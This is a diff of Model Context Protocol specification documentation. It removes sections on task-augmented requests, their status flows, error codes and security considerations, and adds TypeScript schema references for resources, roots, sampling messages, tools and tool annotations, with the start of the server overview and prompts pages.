See General fields: \_meta for notes on \_meta usage.

+
-```mermaid theme={null} -sequenceDiagram - participant U as User - participant LLM - participant C as Client (Requestor) - participant S as Server (Receiver) +## `resources/read` - Note over LLM,C: LLM initiates request - LLM->>C: Request operation +
+ ### `ReadResourceRequest` - Note over C,S: Client augments with task - C->>S: tools/call (ttl: 3600000) - activate S - S->>C: CreateTaskResult (task-123, status: working) - deactivate S +
interface ReadResourceRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "resources/read";
  params: ReadResourceRequestParams;
}

Sent from the client to the server, to read a specific resource URI.

jsonrpc: "2.0"
id: RequestId
method: "resources/read"
params: ReadResourceRequestParams
+
- Note over LLM,C: Client continues processing other requests
while task executes in background - LLM->>C: Request other operation - C->>LLM: Other operation result +
+ ### `ReadResourceRequestParams` - Note over C,S: Client polls for status - C->>S: tasks/get (task-123) - activate S - S->>C: working - deactivate S +
interface ReadResourceRequestParams \{
  \_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown };
  uri: string;
}

Parameters for a resources/read request.

\_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

Type Declaration
  • \[key: string]: unknown
  • OptionalprogressToken?: ProgressToken

    If specified, the caller is requesting out-of-band progress notifications for this request (as represented by notifications/progress). The value of this parameter is an opaque token that will be attached to any subsequent notifications. The receiver is not obligated to provide these notifications.

uri: string

The URI of the resource. The URI can use any protocol; it is up to the server how to interpret it.

+
- Note over S: Server needs information from client
Task moves to input_required +
+ ### `ReadResourceResult` - Note over C,S: Client polls and discovers input_required - C->>S: tasks/get (task-123) - activate S - S->>C: input_required - deactivate S +
interface ReadResourceResult \{
  \_meta?: \{ \[key: string]: unknown };
  contents: (TextResourceContents | BlobResourceContents)\[];
  \[key: string]: unknown;
}

The server's response to a resources/read request from the client.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

contents: (TextResourceContents | BlobResourceContents)\[]
+
- Note over C,S: Client opens result stream - C->>S: tasks/result (task-123) - activate S - S->>C: elicitation/create (related-task: task-123) - activate C - C->>U: Prompt user for input - U->>C: Provide information - C->>S: elicitation response (related-task: task-123) - deactivate C - deactivate S +## `resources/subscribe` + +
+ ### `SubscribeRequest` + +
interface SubscribeRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "resources/subscribe";
  params: SubscribeRequestParams;
}

Sent from the client to request resources/updated notifications from the server whenever a particular resource changes.

jsonrpc: "2.0"
id: RequestId
method: "resources/subscribe"
params: SubscribeRequestParams
+
- Note over C,S: Client closes result stream and resumes polling +
+ ### `SubscribeRequestParams` - Note over S: Task continues processing...
Task moves back to working +
interface SubscribeRequestParams \{
  \_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown };
  uri: string;
}

Parameters for a resources/subscribe request.

\_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

Type Declaration
  • \[key: string]: unknown
  • OptionalprogressToken?: ProgressToken

    If specified, the caller is requesting out-of-band progress notifications for this request (as represented by notifications/progress). The value of this parameter is an opaque token that will be attached to any subsequent notifications. The receiver is not obligated to provide these notifications.

uri: string

The URI of the resource. The URI can use any protocol; it is up to the server how to interpret it.

+
- C->>S: tasks/get (task-123) - activate S - S->>C: working - deactivate S +## `resources/templates/list` - Note over S: Task completes +
+ ### `ListResourceTemplatesRequest` - Note over C,S: Client polls and discovers completion - C->>S: tasks/get (task-123) - activate S - S->>C: completed - deactivate S +
interface ListResourceTemplatesRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  params?: PaginatedRequestParams;
  method: "resources/templates/list";
}

Sent from the client to request a list of resource templates the server has.

jsonrpc: "2.0"
id: RequestId
params?: PaginatedRequestParams
method: "resources/templates/list"
+
- Note over C,S: Client retrieves final results - C->>S: tasks/result (task-123) - activate S - S->>C: Result content - deactivate S - C->>LLM: Process result +
+ ### `ListResourceTemplatesResult` - Note over S: Results retained for ttl period from creation -``` +
interface ListResourceTemplatesResult \{
  \_meta?: \{ \[key: string]: unknown };
  nextCursor?: string;
  resourceTemplates: ResourceTemplate\[];
  \[key: string]: unknown;
}

The server's response to a resources/templates/list request from the client.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

nextCursor?: string

An opaque token representing the pagination position after the last returned result. + If present, there may be more results available.

resourceTemplates: ResourceTemplate\[]
+
-### Task-Augmented Sampling Request +
+ ### `ResourceTemplate` -```mermaid theme={null} -sequenceDiagram - participant U as User - participant LLM - participant C as Client (Receiver) - participant S as Server (Requestor) +
interface ResourceTemplate \{
  icons?: Icon\[];
  name: string;
  title?: string;
  uriTemplate: string;
  description?: string;
  mimeType?: string;
  annotations?: Annotations;
  \_meta?: \{ \[key: string]: unknown };
}

A template description for resources available on the server.

icons?: Icon\[]

Optional set of sized icons that the client can display in a user interface.

Clients that support rendering icons MUST support at least the following MIME types:

  • image/png - PNG images (safe, universal compatibility)
  • image/jpeg (and image/jpg) - JPEG images (safe, universal compatibility)

Clients that support rendering icons SHOULD also support:

  • image/svg+xml - SVG images (scalable but requires security precautions)
  • image/webp - WebP images (modern, efficient format)
name: string

Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).

title?: string

Intended for UI and end-user contexts — optimized to be human-readable and easily understood, + even by those unfamiliar with domain-specific terminology.

If not provided, the name should be used for display (except for Tool, + where annotations.title should be given precedence over using name, + if present).

uriTemplate: string

A URI template (according to RFC 6570) that can be used to construct resource URIs.

description?: string

A description of what this template is for.

This can be used by clients to improve the LLM's understanding of available resources. It can be thought of like a "hint" to the model.

mimeType?: string

The MIME type for all resources that match this template. This should only be included if all resources matching this template have the same type.

annotations?: Annotations

Optional annotations for the client.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

+
- Note over S: Server decides to initiate request +## `resources/unsubscribe` - Note over S,C: Server requests client operation (task-augmented) - S->>C: sampling/createMessage (ttl: 3600000) - activate C - C->>S: CreateTaskResult (request-789, status: working) - deactivate C +
+ ### `UnsubscribeRequest` - Note over S: Server continues processing
while waiting for result +
interface UnsubscribeRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "resources/unsubscribe";
  params: UnsubscribeRequestParams;
}

Sent from the client to request cancellation of resources/updated notifications from the server. This should follow a previous resources/subscribe request.

jsonrpc: "2.0"
id: RequestId
method: "resources/unsubscribe"
params: UnsubscribeRequestParams
+
- Note over S,C: Server polls for result - S->>C: tasks/get (request-789) - activate C - C->>S: working - deactivate C +
+ ### `UnsubscribeRequestParams` - Note over C,U: Client may present request to user - C->>U: Review request - U->>C: Approve request +
interface UnsubscribeRequestParams \{
  \_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown };
  uri: string;
}

Parameters for a resources/unsubscribe request.

\_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

Type Declaration
  • \[key: string]: unknown
  • OptionalprogressToken?: ProgressToken

    If specified, the caller is requesting out-of-band progress notifications for this request (as represented by notifications/progress). The value of this parameter is an opaque token that will be attached to any subsequent notifications. The receiver is not obligated to provide these notifications.

uri: string

The URI of the resource. The URI can use any protocol; it is up to the server how to interpret it.

+
- Note over C,LLM: Client may involve LLM - C->>LLM: Request completion - LLM->>C: Return completion +## `roots/list` - Note over C,U: Client may present result to user - C->>U: Review result - U->>C: Approve result +
+ ### `ListRootsRequest` - Note over S,C: Server polls and discovers completion - S->>C: tasks/get (request-789) - activate C - C->>S: completed - deactivate C +
interface ListRootsRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "roots/list";
  params?: RequestParams;
}

Sent from the server to request a list of root URIs from the client. Roots allow + servers to ask for specific directories or files to operate on. A common example + for roots is providing a set of repositories or directories a server should operate + on.

This request is typically used when the server needs to understand the file system + structure or access specific locations that the client has permission to read from.

jsonrpc: "2.0"
id: RequestId
method: "roots/list"
params?: RequestParams
+
- Note over S,C: Server retrieves result - S->>C: tasks/result (request-789) - activate C - C->>S: Result content - deactivate C +
+ ### `ListRootsResult` - Note over S: Server continues processing +
interface ListRootsResult \{
  \_meta?: \{ \[key: string]: unknown };
  roots: Root\[];
  \[key: string]: unknown;
}

The client's response to a roots/list request from the server. + This result contains an array of Root objects, each representing a root directory + or file that the server can operate on.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

roots: Root\[]
+
- Note over C: Results retained for ttl period from creation -``` +
+ ### `Root` -### Task Cancellation Flow +
interface Root \{
  uri: string;
  name?: string;
  \_meta?: \{ \[key: string]: unknown };
}

Represents a root directory or file that the server can operate on.

uri: string

The URI identifying the root. This must start with file:// for now. + This restriction may be relaxed in future versions of the protocol to allow + other URI schemes.

name?: string

An optional name for the root. This can be used to provide a human-readable + identifier for the root, which may be useful for display purposes or for + referencing the root in other parts of the application.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

+
-```mermaid theme={null} -sequenceDiagram - participant C as Client (Requestor) - participant S as Server (Receiver) +## `sampling/createMessage` - Note over C,S: 1. Task Creation - C->>S: tools/call (request ID: 42, ttl: 60000) - activate S - S->>C: CreateTaskResult (task-123, status: working) - deactivate S +
+ ### `CreateMessageRequest` - Note over C,S: 2. Task Processing - C->>S: tasks/get (task-123) - activate S - S->>C: working - deactivate S +
interface CreateMessageRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "sampling/createMessage";
  params: CreateMessageRequestParams;
}

A request from the server to sample an LLM via the client. The client has full discretion over which model to select. The client should also inform the user before beginning sampling, to allow them to inspect the request (human in the loop) and decide whether to approve it.

jsonrpc: "2.0"
id: RequestId
method: "sampling/createMessage"
params: CreateMessageRequestParams
+
- Note over C,S: 3. Client Cancellation - Note over C: User requests cancellation - C->>S: tasks/cancel (taskId: task-123) - activate S +
+ ### `CreateMessageRequestParams` - Note over S: Server stops execution (best effort) - Note over S: Task moves to cancelled status +
interface CreateMessageRequestParams \{
  task?: TaskMetadata;
  \_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown };
  messages: SamplingMessage\[];
  modelPreferences?: ModelPreferences;
  systemPrompt?: string;
  includeContext?: "none" | "thisServer" | "allServers";
  temperature?: number;
  maxTokens: number;
  stopSequences?: string\[];
  metadata?: object;
  tools?: Tool\[];
  toolChoice?: ToolChoice;
}

Parameters for a sampling/createMessage request.

task?: TaskMetadata

If specified, the caller is requesting task-augmented execution for this request. + The request will return a CreateTaskResult immediately, and the actual result can be + retrieved later via tasks/result.

Task augmentation is subject to capability negotiation - receivers MUST declare support + for task augmentation of specific request types in their capabilities.

\_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

Type Declaration
  • \[key: string]: unknown
  • OptionalprogressToken?: ProgressToken

    If specified, the caller is requesting out-of-band progress notifications for this request (as represented by notifications/progress). The value of this parameter is an opaque token that will be attached to any subsequent notifications. The receiver is not obligated to provide these notifications.

messages: SamplingMessage\[]
modelPreferences?: ModelPreferences

The server's preferences for which model to select. The client MAY ignore these preferences.

systemPrompt?: string

An optional system prompt the server wants to use for sampling. The client MAY modify or omit this prompt.

includeContext?: "none" | "thisServer" | "allServers"

A request to include context from one or more MCP servers (including the caller), to be attached to the prompt. + The client MAY ignore this request.

Default is "none". Values "thisServer" and "allServers" are soft-deprecated. Servers SHOULD only use these values if the client + declares ClientCapabilities.sampling.context. These values may be removed in future spec releases.

temperature?: number
maxTokens: number

The requested maximum number of tokens to sample (to prevent runaway completions).

The client MAY choose to sample fewer tokens than the requested maximum.

stopSequences?: string\[]
metadata?: object

Optional metadata to pass through to the LLM provider. The format of this metadata is provider-specific.

tools?: Tool\[]

Tools that the model may use during generation. + The client MUST return an error if this field is provided but ClientCapabilities.sampling.tools is not declared.

toolChoice?: ToolChoice

Controls how the model uses tools. + The client MUST return an error if this field is provided but ClientCapabilities.sampling.tools is not declared. + Default is \{ mode: "auto" }.

+
- S->>C: Task (status: cancelled) - deactivate S +
+ ### `CreateMessageResult` - Note over C: Client receives confirmation +
interface CreateMessageResult \{
  \_meta?: \{ \[key: string]: unknown };
  model: string;
  stopReason?: string;
  role: Role;
  content: SamplingMessageContentBlock | SamplingMessageContentBlock\[];
  \[key: string]: unknown;
}

The client's response to a sampling/createMessage request from the server. + The client should inform the user before returning the sampled message, to allow them + to inspect the response (human in the loop) and decide whether to allow the server to see it.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

model: string

The name of the model that generated the message.

stopReason?: string

The reason why sampling stopped, if known.

Standard values:

  • "endTurn": Natural end of the assistant's turn
  • "stopSequence": A stop sequence was encountered
  • "maxTokens": Maximum token limit was reached
  • "toolUse": The model wants to use one or more tools

This field is an open string to allow for provider-specific stop reasons.

role: Role
content: SamplingMessageContentBlock | SamplingMessageContentBlock\[]
+
- Note over S: Server may delete task at its discretion -``` +
+ ### `ModelHint` -## Data Types +
interface ModelHint \{
  name?: string;
}

Hints to use for model selection.

Keys not declared here are currently left unspecified by the spec and are up + to the client to interpret.

name?: string

A hint for a model name.

The client SHOULD treat this as a substring of a model name; for example:

  • claude-3-5-sonnet should match claude-3-5-sonnet-20241022
  • sonnet should match claude-3-5-sonnet-20241022, claude-3-sonnet-20240229, etc.
  • claude should match any Claude model

The client MAY also map the string to a different provider's model name or a different model family, as long as it fills a similar niche; for example:

  • gemini-1.5-flash could match claude-3-haiku-20240307
+
-### Task +
+ ### `ModelPreferences` -A task represents the execution state of a request. The task state includes: +
interface ModelPreferences \{
  hints?: ModelHint\[];
  costPriority?: number;
  speedPriority?: number;
  intelligencePriority?: number;
}

The server's preferences for model selection, requested of the client during sampling.

Because LLMs can vary along multiple dimensions, choosing the "best" model is + rarely straightforward. Different models excel in different areas—some are + faster but less capable, others are more capable but more expensive, and so + on. This interface allows servers to express their priorities across multiple + dimensions to help clients make an appropriate selection for their use case.

These preferences are always advisory. The client MAY ignore them. It is also + up to the client to decide how to interpret these preferences and how to + balance them against other considerations.

hints?: ModelHint\[]

Optional hints to use for model selection.

If multiple hints are specified, the client MUST evaluate them in order + (such that the first match is taken).

The client SHOULD prioritize these hints over the numeric priorities, but + MAY still use the priorities to select from ambiguous matches.

costPriority?: number

How much to prioritize cost when selecting a model. A value of 0 means cost + is not important, while a value of 1 means cost is the most important + factor.

speedPriority?: number

How much to prioritize sampling speed (latency) when selecting a model. A + value of 0 means speed is not important, while a value of 1 means speed is + the most important factor.

intelligencePriority?: number

How much to prioritize intelligence and capabilities when selecting a + model. A value of 0 means intelligence is not important, while a value of 1 + means intelligence is the most important factor.

+
-* `taskId`: Unique identifier for the task -* `status`: Current state of the task execution -* `statusMessage`: Optional human-readable message describing the current state (can be present for any status, including error details for failed tasks) -* `createdAt`: ISO 8601 timestamp when the task was created -* `ttl`: Time in milliseconds from creation before task may be deleted -* `pollInterval`: Suggested time in milliseconds between status checks -* `lastUpdatedAt`: ISO 8601 timestamp when the task status was last updated +
+ ### `SamplingMessage` -### Task Status +
interface SamplingMessage \{
  role: Role;
  content: SamplingMessageContentBlock | SamplingMessageContentBlock\[];
  \_meta?: \{ \[key: string]: unknown };
}

Describes a message issued to or received from an LLM API.

role: Role
content: SamplingMessageContentBlock | SamplingMessageContentBlock\[]
\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

+
-Tasks can be in one of the following states: +
+ ### `SamplingMessageContentBlock` -* `working`: The request is currently being processed. -* `input_required`: The receiver needs input from the requestor. The requestor should call `tasks/result` to receive input requests, even though the task has not reached a terminal state. -* `completed`: The request completed successfully and results are available. -* `failed`: The associated request did not complete successfully. For tool calls specifically, this includes cases where the tool call result has `isError` set to true. -* `cancelled`: The request was cancelled before completion. +
SamplingMessageContentBlock:
  | TextContent
  | ImageContent
  | AudioContent
  | ToolUseContent
  | ToolResultContent
+
-### Task Parameters +
+ ### `ToolChoice` -When augmenting a request with task execution, the `task` field is included in the request parameters: +
interface ToolChoice \{
  mode?: "none" | "required" | "auto";
}

Controls tool selection behavior for sampling requests.

mode?: "none" | "required" | "auto"

Controls the tool use ability of the model:

  • "auto": Model decides whether to use tools (default)
  • "required": Model MUST use at least one tool before completing
  • "none": Model MUST NOT use any tools
+
-```json theme={null} -{ - "task": { - "ttl": 60000 - } -} -``` +
+ ### `ToolResultContent` -Fields: +
interface ToolResultContent \{
  type: "tool\_result";
  toolUseId: string;
  content: ContentBlock\[];
  structuredContent?: \{ \[key: string]: unknown };
  isError?: boolean;
  \_meta?: \{ \[key: string]: unknown };
}

The result of a tool use, provided by the user back to the assistant.

type: "tool\_result"
toolUseId: string

The ID of the tool use this result corresponds to.

This MUST match the ID from a previous ToolUseContent.

content: ContentBlock\[]

The unstructured result content of the tool use.

This has the same format as CallToolResult.content and can include text, images, + audio, resource links, and embedded resources.

structuredContent?: \{ \[key: string]: unknown }

An optional structured result object.

If the tool defined an outputSchema, this SHOULD conform to that schema.

isError?: boolean

Whether the tool use resulted in an error.

If true, the content typically describes the error that occurred. + Default: false

\_meta?: \{ \[key: string]: unknown }

Optional metadata about the tool result. Clients SHOULD preserve this field when + including tool results in subsequent sampling requests to enable caching optimizations.

See General fields: \_meta for notes on \_meta usage.

+
-* `ttl` (number, optional): Requested duration in milliseconds to retain task from creation +
+ ### `ToolUseContent` -### Related Task Metadata +
interface ToolUseContent \{
  type: "tool\_use";
  id: string;
  name: string;
  input: \{ \[key: string]: unknown };
  \_meta?: \{ \[key: string]: unknown };
}

A request from the assistant to call a tool.

type: "tool\_use"
id: string

A unique identifier for this tool use.

This ID is used to match tool results to their corresponding tool uses.

name: string

The name of the tool to call.

input: \{ \[key: string]: unknown }

The arguments to pass to the tool, conforming to the tool's input schema.

\_meta?: \{ \[key: string]: unknown }

Optional metadata about the tool use. Clients SHOULD preserve this field when + including tool uses in subsequent sampling requests to enable caching optimizations.

See General fields: \_meta for notes on \_meta usage.

+
-All requests, responses, and notifications associated with a task **MUST** include the `io.modelcontextprotocol/related-task` key in `_meta`: +## `tools/call` -```json theme={null} -{ - "io.modelcontextprotocol/related-task": { - "taskId": "786512e2-9e0d-44bd-8f29-789f320fe840" - } -} -``` +
+ ### `CallToolRequest` + +
interface CallToolRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "tools/call";
  params: CallToolRequestParams;
}

Used by the client to invoke a tool provided by the server.

jsonrpc: "2.0"
id: RequestId
method: "tools/call"
params: CallToolRequestParams
+
+ +
+ ### `CallToolRequestParams` -This associates messages with their originating task across the entire request lifecycle. +
interface CallToolRequestParams \{
  task?: TaskMetadata;
  \_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown };
  name: string;
  arguments?: \{ \[key: string]: unknown };
}

Parameters for a tools/call request.

task?: TaskMetadata

If specified, the caller is requesting task-augmented execution for this request. + The request will return a CreateTaskResult immediately, and the actual result can be + retrieved later via tasks/result.

Task augmentation is subject to capability negotiation - receivers MUST declare support + for task augmentation of specific request types in their capabilities.

\_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

Type Declaration
  • \[key: string]: unknown
  • OptionalprogressToken?: ProgressToken

    If specified, the caller is requesting out-of-band progress notifications for this request (as represented by notifications/progress). The value of this parameter is an opaque token that will be attached to any subsequent notifications. The receiver is not obligated to provide these notifications.

name: string

The name of the tool.

arguments?: \{ \[key: string]: unknown }

Arguments to use for the tool call.

+
-For the `tasks/get`, `tasks/list`, and `tasks/cancel` operations, requestors and receivers **SHOULD NOT** include this metadata in their messages, as the `taskId` is already present in the message structure. -The `tasks/result` operation **MUST** include this metadata in its response, as the result structure itself does not contain the task ID. +
+ ### `CallToolResult` -## Error Handling +
interface CallToolResult \{
  \_meta?: \{ \[key: string]: unknown };
  content: ContentBlock\[];
  structuredContent?: \{ \[key: string]: unknown };
  isError?: boolean;
  \[key: string]: unknown;
}

The server's response to a tool call.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

content: ContentBlock\[]

A list of content objects that represent the unstructured result of the tool call.

structuredContent?: \{ \[key: string]: unknown }

An optional JSON object that represents the structured result of the tool call.

isError?: boolean

Whether the tool call ended in an error.

If not set, this is assumed to be false (the call was successful).

Any errors that originate from the tool SHOULD be reported inside the result + object, with isError set to true, not as an MCP protocol-level error + response. Otherwise, the LLM would not be able to see that an error occurred + and self-correct.

However, any errors in finding the tool, an error indicating that the + server does not support tool calls, or any other exceptional conditions, + should be reported as an MCP error response.

+
-Tasks use two error reporting mechanisms: +## `tools/list` -1. **Protocol Errors**: Standard JSON-RPC errors for protocol-level issues -2. **Task Execution Errors**: Errors in the underlying request execution, reported through task status +
+ ### `ListToolsRequest` -### Protocol Errors +
interface ListToolsRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  params?: PaginatedRequestParams;
  method: "tools/list";
}

Sent from the client to request a list of tools the server has.

jsonrpc: "2.0"
id: RequestId
params?: PaginatedRequestParams
method: "tools/list"
+
-Receivers **MUST** return standard JSON-RPC errors for the following protocol error cases: +
+ ### `ListToolsResult` -* Invalid or nonexistent `taskId` in `tasks/get`, `tasks/result`, or `tasks/cancel`: `-32602` (Invalid params) -* Invalid or nonexistent cursor in `tasks/list`: `-32602` (Invalid params) -* Attempt to cancel a task already in a terminal status: `-32602` (Invalid params) -* Internal errors: `-32603` (Internal error) +
interface ListToolsResult \{
  \_meta?: \{ \[key: string]: unknown };
  nextCursor?: string;
  tools: Tool\[];
  \[key: string]: unknown;
}

The server's response to a tools/list request from the client.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

nextCursor?: string

An opaque token representing the pagination position after the last returned result. + If present, there may be more results available.

tools: Tool\[]
+
-Additionally, receivers **MAY** return the following errors: +
+ ### `Tool` -* Non-task-augmented request when receiver requires task augmentation for that request type: `-32600` (Invalid request) +
interface Tool \{
  icons?: Icon\[];
  name: string;
  title?: string;
  description?: string;
  inputSchema: \{
    \$schema?: string;
    type: "object";
    properties?: \{ \[key: string]: object };
    required?: string\[];
  };
  execution?: ToolExecution;
  outputSchema?: \{
    \$schema?: string;
    type: "object";
    properties?: \{ \[key: string]: object };
    required?: string\[];
  };
  annotations?: ToolAnnotations;
  \_meta?: \{ \[key: string]: unknown };
}

Definition for a tool the client can call.

icons?: Icon\[]

Optional set of sized icons that the client can display in a user interface.

Clients that support rendering icons MUST support at least the following MIME types:

  • image/png - PNG images (safe, universal compatibility)
  • image/jpeg (and image/jpg) - JPEG images (safe, universal compatibility)

Clients that support rendering icons SHOULD also support:

  • image/svg+xml - SVG images (scalable but requires security precautions)
  • image/webp - WebP images (modern, efficient format)
name: string

Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).

title?: string

Intended for UI and end-user contexts — optimized to be human-readable and easily understood, + even by those unfamiliar with domain-specific terminology.

If not provided, the name should be used for display (except for Tool, + where annotations.title should be given precedence over using name, + if present).

description?: string

A human-readable description of the tool.

This can be used by clients to improve the LLM's understanding of available tools. It can be thought of like a "hint" to the model.

inputSchema: \{ \$schema?: string; type: "object"; properties?: \{ \[key: string]: object }; required?: string\[]; }

A JSON Schema object defining the expected parameters for the tool.

execution?: ToolExecution

Execution-related properties for this tool.

outputSchema?: \{ \$schema?: string; type: "object"; properties?: \{ \[key: string]: object }; required?: string\[]; }

An optional JSON Schema object defining the structure of the tool's output returned in + the structuredContent field of a CallToolResult.

Defaults to JSON Schema 2020-12 when no explicit \$schema is provided. + Currently restricted to type: "object" at the root level.

annotations?: ToolAnnotations

Optional additional tool information.

Display name precedence order is: title, annotations.title, then name.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

+
-Receivers **SHOULD** provide informative error messages to describe the cause of errors. +
+ ### `ToolAnnotations` -**Example: Task augmentation required** +
interface ToolAnnotations \{
  title?: string;
  readOnlyHint?: boolean;
  destructiveHint?: boolean;
  idempotentHint?: boolean;
  openWorldHint?: boolean;
}

Additional properties describing a Tool to clients.

NOTE: all properties in ToolAnnotations are hints. + They are not guaranteed to provide a faithful description of + tool behavior (including descriptive properties like title).

Clients should never make tool use decisions based on ToolAnnotations + received from untrusted servers.

title?: string

A human-readable title for the tool.

readOnlyHint?: boolean

If true, the tool does not modify its environment.

Default: false

destructiveHint?: boolean

If true, the tool may perform destructive updates to its environment. + If false, the tool performs only additive updates.

(This property is meaningful only when readOnlyHint == false)

Default: true

idempotentHint?: boolean

If true, calling the tool repeatedly with the same arguments + will have no additional effect on its environment.

(This property is meaningful only when readOnlyHint == false)

Default: false

openWorldHint?: boolean

If true, this tool may interact with an "open world" of external + entities. If false, the tool's domain of interaction is closed. + For example, the world of a web search tool is open, whereas that + of a memory tool is not.

Default: true

+
-```json theme={null} -{ - "jsonrpc": "2.0", - "id": 1, - "error": { - "code": -32600, - "message": "Task augmentation required for tools/call requests" - } -} -``` +
+ ### `ToolExecution` -**Example: Task not found** +
interface ToolExecution \{
  taskSupport?: "forbidden" | "optional" | "required";
}

Execution-related properties for a tool.

taskSupport?: "forbidden" | "optional" | "required"

Indicates whether this tool supports task-augmented execution. + This allows clients to handle long-running operations through polling + the task system.

  • "forbidden": Tool does not support task-augmented execution (default when absent)
  • "optional": Tool may support task-augmented execution
  • "required": Tool requires task-augmented execution

Default: "forbidden"

+
-```json theme={null} -{ - "jsonrpc": "2.0", - "id": 70, - "error": { - "code": -32602, - "message": "Failed to retrieve task: Task not found" - } -} -``` -**Example: Task expired** +# Overview +Source: https://modelcontextprotocol.io/specification/2025-11-25/server/index -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 71, - "error": { - "code": -32602, - "message": "Failed to retrieve task: Task has expired" - } -} -``` - - Receivers are not required to retain tasks indefinitely. It is compliant behavior for a receiver to return an error stating the task cannot be found if it has purged an expired task. - -**Example: Task cancellation rejected (already terminal)** +Servers provide the fundamental building blocks for adding context to language models via +MCP. These primitives enable rich interactions between clients, servers, and language +models: -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 74, - "error": { - "code": -32602, - "message": "Cannot cancel task: already in terminal status 'completed'" - } -} -``` +* **Prompts**: Pre-defined templates or instructions that guide language model + interactions +* **Resources**: Structured data or content that provides additional context to the model +* **Tools**: Executable functions that allow models to perform actions or retrieve + information -### Task Execution Errors +Each primitive can be summarized in the following control hierarchy: -When the underlying request does not complete successfully, the task moves to the `failed` status. This includes JSON-RPC protocol errors during request execution, or for tool calls specifically, when the tool result has `isError` set to true. The `tasks/get` response **SHOULD** include a `statusMessage` field with diagnostic information about the failure. +| Primitive | Control | Description | Example | +| --------- | ---------------------- | -------------------------------------------------- | ------------------------------- | +| Prompts | User-controlled | Interactive templates invoked by user choice | Slash commands, menu options | +| Resources | Application-controlled | Contextual data attached and managed by the client | File contents, git history | +| Tools | Model-controlled | Functions exposed to the LLM to take actions | API POST requests, file writing | -**Example: Task with execution error** +Explore these key primitives in more detail below: -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 4, - "result": { - "taskId": "786512e2-9e0d-44bd-8f29-789f820fe840", - "status": "failed", - "createdAt": "2025-11-25T10:30:00Z", - "lastUpdatedAt": "2025-11-25T10:40:00Z", - "ttl": 30000, - "statusMessage": "Tool execution failed: API rate limit exceeded" - } -} -``` + + -For tasks that wrap tool call requests, when the tool result has `isError` set to `true`, the task should reach `failed` status. + -The `tasks/result` endpoint returns exactly what the underlying request would have returned: + + -* If the underlying request resulted in a JSON-RPC error, `tasks/result` **MUST** return that same JSON-RPC error. -* If the request completed with a JSON-RPC response, `tasks/result` **MUST** return a successful JSON-RPC response containing that result. -## Security Considerations +# Prompts +Source: https://modelcontextprotocol.io/specification/2025-11-25/server/prompts -### Task Isolation and Access Control -Task IDs are the primary mechanism for accessing task state and results. Without proper access controls, any party that can guess or obtain a task ID could potentially access sensitive information or manipulate tasks they did not create. -When an authorization context is provided, receivers **MUST** bind tasks to said context. +
-Context-binding is not practical for all applications. Some MCP servers operate in environments without authorization, such as single-user tools, or use transports that don't support authorization. -In these scenarios, receivers **SHOULD** document this limitation clearly, as task results may be accessible to any requestor that can guess the task ID. -If context-binding is unavailable, receivers **MUST** generate cryptographically secure task IDs with enough entropy to prevent guessing and should consider using shorter TTL durations to reduce the exposure window. +The Model Context Protocol (MCP) provides a standardized way for servers to expose prompt +templates to clients. Prompts allow servers to provide structured messages and +instructions for interacting with language models. Clients can discover available +prompts, retrieve their contents, and provide arguments to customize them. -If context-binding is available, receivers **MUST** reject `tasks/get`, `tasks/result`, and `tasks/cancel` requests for tasks that do not belong to the same authorization context as the requestor. For `tasks/list` requests, receivers **MUST** ensure the returned task list includes only tasks associated with the requestor's authorization context. +## User Interaction Model -Additionally, receivers **SHOULD** implement rate limiting on task operations to prevent denial-of-service and enumeration attacks. +Prompts are designed to be **user-controlled**, meaning they are exposed from servers to +clients with the intention of the user being able to explicitly select them for use. -### Resource Management +Typically, prompts would be triggered through user-initiated commands in the user +interface, which allows users to naturally discover and invoke available prompts. -1. Receivers **SHOULD**: - 1. Enforce limits on concurrent tasks per requestor - 2. Enforce maximum `ttl` durations to prevent indefinite resource retention - 3. Clean up expired tasks promptly to free resources - 4. Document maximum supported `ttl` duration - 5. Document maximum concurrent tasks per requestor - 6. Implement monitoring and alerting for resource usage +For example, as slash commands: -### Audit and Logging +Example of prompt exposed as slash command -1. Receivers **SHOULD**: - 1. Log task creation, completion, and retrieval events for audit purposes - 2. Include auth context in logs when available - 3. Monitor for suspicious patterns (e.g., many failed task lookups, excessive polling) -2. Requestors **SHOULD**: - 1. Log task lifecycle events for debugging and audit purposes - 2. Track task IDs and their associated operations +However, implementors are free to expose prompts through any interface pattern that suits +their needs—the protocol itself does not mandate any specific user interaction +model. +## Capabilities -# 